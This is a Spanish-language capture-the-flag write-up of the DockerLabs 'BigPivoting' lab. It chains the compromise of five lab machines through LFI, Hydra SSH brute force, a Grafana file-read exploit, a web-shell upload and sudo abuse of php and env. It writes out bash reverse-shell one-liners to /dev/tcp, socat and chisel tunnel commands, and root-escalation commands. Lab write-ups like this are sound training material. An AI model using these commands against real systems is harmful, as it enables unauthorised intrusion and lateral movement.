BigPivoting - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Difícil | ElPinguinoDeMario |
Buenas a todos antes de empezar con la maquina os dejo un esquema que he ido haciendo durante la maquina para que sea un poco mas visual.
También dejo el link para que lo podáis ver bien
https://excalidraw.com/#json=F0pKFrAZ31tFpyHGZfMBP,3DjBbERZnzq3ysvDuMk5vg
Maquina 1
Escaneo y Reconocimiento de puertos
Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap a la IP 10.10.10.2.
nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2
-p-- Búsqueda de puertos abiertos--open- Enumera los puertos abiertos-sS- Es un modo de escaneo rapido-sC-- Que use un conjunto de scripts de reconocimiento-sV- Que encuentre la version del servicio abirto--min-rate=5000- Hace que el reconocimiento aun vaya mas rapido mandando no menos de 5000 paquetes-n- No hace resolución DNS-Pn- No hace ping-vvv- Muestra en pantalla a medida que encuentra puertos (Verbose)
Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP
Enumeración Web
Si accedemos a la pagina web vemos lo siguiente
Es la página por defecto de Apache2.
Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.20.10.5/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Gobuster ha encontrado el directorio /shop, vamos a investigarlo.
Nos encontramos esta pagina web, vemos que en la parte inferior hay un error, esto nos da una pista de que seguramente esta web sea vulnerable a un LFI vamos a probarlo.
Efectivamente, y al listar el directorio /etc/passwd encontramos dos usuarios del sistema, con esta información ahora vamos hacer un ataque de fuerza bruta al puerto 22 SSH
Ataque de fuerza bruta con Hydra
hydra -l manchi -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2
-l- Para especificar el usuario-P- Para especificar que diccionario de fuerza bruta usaremos- `ssh://10.10.10.2 - Especificamos que queremos atentar contra el protocolo SSH de la IP victima
Como vemos, existe el usuario manchi y la contraseña es lovely.
Intrusión
Ahora accedemos vía SSH
ssh manchi@10.10.10.2
Al no encontrar nada para poder escalar vamos a intentar hacer un ataque de fuerza bruta en local con un script que se puede descargar desde aquí
https://github.com/Maalfer/Sudo_BruteForce
Al ejecutar el script que le hemos de pasar el usuario y el diccionario rockyou vemos que nos encuentra la contraseña
Usuario seller con la contraseña qwerty
Vamos a escalar a este usuario.
Escalada de privilegios
Ahora si hacemos un sudo -l vemos que podemos ejecutar el binario php como cualquier usuario, vamos a buscarlo en GTFObins
Esta es la forma para poder escalar a root
Lo que haremos sera lo siguiente:
sudo -u root /usr/bin/php -r "system('/bin/sh');"
Y nos convertiremos en root
Pivoting 1
Si hacemos un hostname -I vemos que hay otra interfaz de red la 20.20.20.2
En este punto vamos a configurar el entorno de chisel para gestionar y reenviar los puertos de la 20.20.20.3 a nuestra maquina atacante.
Nos pasamos el chisel a la maquina 10.10.10.2.
Ahora desde la máquina atacante nos ponemos en escucha con chisel.
chisel server --reverse -p 1234
Y en la maquina victima con IP 10.10.10.2 configuramos el chisel para que podamos ver desde la maquina 10.10.10.1 la IP 20.20.20.2.
./chisel client 10.10.10.1:1234 R:socks
Perfecto ahora ya tenemos visibilidad de la maquina 20.20.20.2
Maquina 2
Escaneo y Reconocimiento de puertos
Vamos hacer un analisis de puertos, con nmap pero ahora siempre delante de cada instrucción hemos de poner el comando proxychains
proxychains nmap -sT -Pn -p- -sV --open -T5 -v -n 20.20.20.3 2>/dev/null
Encontramos el puerto 21,22,80 y 3000
Enumeración Web
Configuramos el proxy para poder visualizar lo que se aloja en el puerto 80 de la maquina 20.20.20.3
Y si accedemos al puerto 80 vemos que esta la Default Page de Apache2
Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.
gobuster dir -u http://20.20.20.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php --proxy socks5://127.0.0.1:1080
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.20.10.5/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Nos encuentra el repositorio /maintence.html
Nos encontramos esto pero no hay nada mas vamos a ver los otros puerto empezemos por el puerto 3000
Puerto 3000
En la parte inferior nos dice la versión de grafana
Si buscamos en searchsploit si hay algún exploit disponible nos pone que hay uno
Con este script podemos ver archivos internos del servidor
Vamos a mirar la ruta que nos decia la pagina web a ver que hay
Tenemos una contraseña t9sH76gpQ82UFeZ3GXZS
Puerto 21
Nos podemos conectar con el usuario anonymous vamos a ver si encontramos algo interesante
Y nos encontramos con un archivo database.kdbx que es un archivo de keepass, lo descargamos
Vamos a intentar usar la contraseña para abrir el keepass
ES LA CONTRASEÑA!
Ahora vamos a intentar conectar con estas credenciales por ssh a ver si funcionan.
Usuario freddy contraseña t9sH76gpQ82UFeZ3GXZS
Escalada de privilegios
Para escalar privilegio podemos hacer lo siguiente
Vemos que hay un script vamos a ver que hace
Vamos a ver si tenemos permisos para modificarlo
Si que podemos vamos a escribir un codigo para que al ejecutarlo nos de una terminal como root.
Vamos a ejecutarlo a ver si funciona
ya somos ROOT
Pivoting 2
Si miramos cuantas interfaces de red tenemos vemos que hay 2 mas y tenemos el rango de ip’s 30.30.30.2
Ahora desde la máquina 10.10.10.2 o 20.20.20.2 que es la misma nos compartimos el chisel a esta siguiente máquina mediante un servidor HTTP con python
Ahora desde la primera máquina la ip 10.10.10.2 o 20.20.20.2 vamos a necesitar socat para ir pasando la conexión de chisel
Entonces en nuestra maquina atacante nos descargamos el socat
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
Este lo compartimos con un servidor con pyhton a la maquina 10.10.10.2
Y decimos que todo lo que nos llegue a la IP 10.10.10.0/24 que lo mande a la máquina atacante por el puerto 1234, que es donde tenemos chisel escuchando:
./socat tcp-l:1111,fork,reuseaddr tcp:10.10.10.1:1234
Ahora lo que tenemos que hacer es en compartir el chisel de la maquina 10.10.10.2 o 20.20.20.2 que es la misma a la maquina 20.20.20.3 o 30.30.30.2
De esta forma lo que acabamos de hacer es decirle a chisel que todos los puertos sean redirigidos al puerto 8888 y que pase al socat de la maquina 10.10.10.2 o 20.20.20.2 que es la misma para que el socat lo redirigía al chisel que este termina en la maquina atacante
Ahora tenemos que editar el archivo proxychains.conf y vamos a editar el archivo de proxychains y descomentamos la línea donde dice scrict_chain:
Configuramos en FoxyProxy el nuevo tunel
Maquina 3
Escaneo y Reconocimiento de puertos
Vamos hacer un analisis de puertos, con nmap pero ahora siempre delante de cada instrucción hemos de poner el comando proxychains
proxychains nmap -sT -Pn -p- -sV --open -T5 -v -n 30.30.30.3 2>/dev/null
Vemos que tenemos el puerto 80 y el puerto 22 abrietos entoces vamos a tirar de goubuster a ver que encuentra
Y vemos que nos encuentra un /secret.php vamos a ver que es.
Tenemos un posible usuario vamos hacer fuerza bruta al usuario por el protocolo ssh.
Hacemos el comando proxychains hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://30.30.30.3 y nos da la contraseña del usuario mario vamos a conectarnos a la maquina y busquemos la forma de escalar privilegios
Listo ya somos ROOT vamos a ver las interfaces de red que hay
Pivoting 3
Vemos la 40.40.40.2 vamos a pasarnos el socat a la maquina 20.20.20.3 y configuramos para que rediriga todo lo que le entre por el puerto 20.20.20.2:1111 asi tendremos acceso desde la primera maquina. De la siguiente forma
Ahora en la maquina 30.30.30.3 vamos a pasarnos el chisel para poder acceder a el desde la maquina atacante con el siguiente comando
Si lo hemos hecho bien en el chisel de nuestra maquina atacante aparecerá lo siguiente
Ahora vamos añadir el sock 9999 al archivo /etc/proxychains4.conf
Maquina 4
Vemos que tenemos el puerto 80 abierto vamos a ver que hay en el.
Antes de hacer esto vamos a configurar el foxyproxy
Vamos a ver que hay en el puerto 80
Vamos hacer fuzzing a ver si encontramos mas directorios
Encontramos el directorio uploads
Ahora vamos ha subir una web terminal
Pivoting 4
Ahora tenemos que preparar socat para que la reverse shell vaya desde esta IP 40.40.40.3 hasta nuestro Kali, por lo que enviaremos socat a la máquina anterior, desde la 10.10.10.0/24 a la 20.20.20.0/24 y desde la 30.30.30.0/24:
Lo hacemos de esta forma
En la primara maquina
socat tcp-l:4444,fork tcp:10.10.10.1:443
En la segunda `
socat tcp-l:4444,fork tcp:20.20.20.2:4444
En la tercera
socat tcp-l:4444,fork tcp:30.30.30.2:4444
Nos ponemos en escucha por el puerto 443 con netcat
Y en la web terminal ponemos lo siguiente
bash -c "bash -i >& /dev/tcp/40.40.40.2/4444 0>&1"
Y nos va a dar la reverse shell
Vamos a escalar privilegios
Vemos que podemos usar el binario env como root vamos a escalar privilegios de esta forma
sudo -u root /usr/bin/env /bin/sh
Ahora vamos a ver que interfaces tiene esta maquina
Vemos que tiene 2, ahora vamos a montar todos los túneles para poder acceder a la maquina en la red 50.50.50.2
En la primera maquina
./socat tcp-l:3333,fork,reuseaddr tcp:10.10.10.1:1234
En la segunda maquina
./socat tcp-l:3333,fork,reuseaddr tcp:20.20.20.2:3333
En la tercera maquina
./socat tcp-l:3333,fork,reuseaddr tcp:30.30.30.2:3333
Y en la ultima maquina nos pasamos el chisel y hacemos lo siguiente
./chisel client 40.40.40.2:3333 R:5555:socks
Con esto lo que hacemos es que todo lo que pase por el puerto 3333 lo vaya pasando hasta la maquina atacante y creamos un nuevo socks que lo hemos de añadir al archivo /etc/proxychains4.conf.
Maquina 5
Una vez hecho esto vamos hacer un escaneo de puerto de la maquina 50.50.50.3
Encontramos el puerto 80 vamos a ver que hay en la web pero antes vamos a configurar el foxyproxy
Vemos esto en el interior de la web vamos hacer fuzzing con gobuster a ver si encontramos algo
Vemos un shell.php que no hay nada y un warning.html vamos acceder
Entonces vamos a usar WFUZZ para ver cual es el parametro que falta ahi de la siguente forma
proxychains wfuzz -c --hh=53 --hc=404 -w usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-
medium.txt -u "http://50.50.50.3/shell.php?FUZZ=id"
Encontramos que el parametro es parameter vamos a ver si es correcto
Efectivamente es correcto ahora vamos a configurar para que nos mande una reverse shell pasando por todos los otros pc y que llegue a nuestro pc atacante.
Ultima configuración
Realmente ya lo tenemos montado lo que nos falta es en la ultima maquina vulnerada la 40.40.40.3 vamos a pasarnos el socat y hacemos lo siguiente
./socat tcp-l:4444,fork tcp:40.40.40.2:4444
Ahora ya tenemos todo el tunel montado entonces vamos a enviar una reverse shell a nuestra maquina atacante
bash -c "bash -i >%26 /dev/tcp/40.40.40.2/4444 0>%261"
Y si esta todo bien deberiamos tener una reverse shell
Vemos que en la carpeta tmp hay un .secrects.txt y en su interior hay una contraseña vamos a probar a ver si es la contraseña de root
Ya somos root ahora vamos a ver las interfaces de red
Vemos que ya no hay mas entonces hasta aquí este wirteup sinceramente como diría el meme… estoy cansado jefe…